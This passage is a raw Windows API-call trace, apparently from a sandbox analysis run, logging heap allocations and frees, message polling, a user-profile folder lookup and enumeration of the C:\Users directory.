RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.007] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161758 [0117.007] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.008] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.008] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.008] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.008] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.008] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.008] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.008] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.009] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.009] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.009] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.009] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.009] PathFindFileNameW (pszPath="") returned="" [0117.009] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.009] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.009] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.009] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.009] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165478 | out: hHeap=0x35b0000) returned 1 [0117.009] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.009] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165248 | out: hHeap=0x35b0000) returned 1 [0117.009] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165248 [0117.009] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.009] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165248 | out: hHeap=0x35b0000) returned 1 [0117.010] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.010] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162790 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61627d8 [0117.010] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162790 | out: hHeap=0x35b0000) returned 1 [0117.010] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0117.010] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161758 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0117.010] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.010] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161758 | out: hHeap=0x35b0000) returned 1 [0117.010] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161758 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161790 [0117.010] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.010] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161758 | out: hHeap=0x35b0000) returned 1 [0117.010] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161758 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61617c8 [0117.010] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.010] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161758 | out: hHeap=0x35b0000) returned 1 [0117.010] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.010] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165248 [0117.010] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161758 [0117.011] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165248 | out: hHeap=0x35b0000) returned 1 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x498) returned 0x6770cd0 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165248 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165478 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165450 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165428 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165400 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61653d8 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61653b0 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165388 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165360 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ff0 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165040 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651d0 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651f8 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165220 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165680 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61656a8 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61656d0 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61656f8 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165720 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165748 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165770 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165798 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161800 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161838 [0117.011] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161870 [0117.011] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61652e8 | out: hHeap=0x35b0000) returned 1 [0117.011] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61652c0 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165298 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165270 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165018 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165068 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165180 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61654a0 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61654c8 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61654f0 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165518 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165540 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165568 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165590 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61655b8 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61655e0 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165608 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165630 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165658 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165310 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165338 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61651a8 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f78 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61627d8 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161790 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6194728 | out: hHeap=0x35b0000) returned 1 [0117.012] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61617c8 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0117.012] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161758 | out: hHeap=0x35b0000) returned 1 [0117.012] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0117.013] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0117.013] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 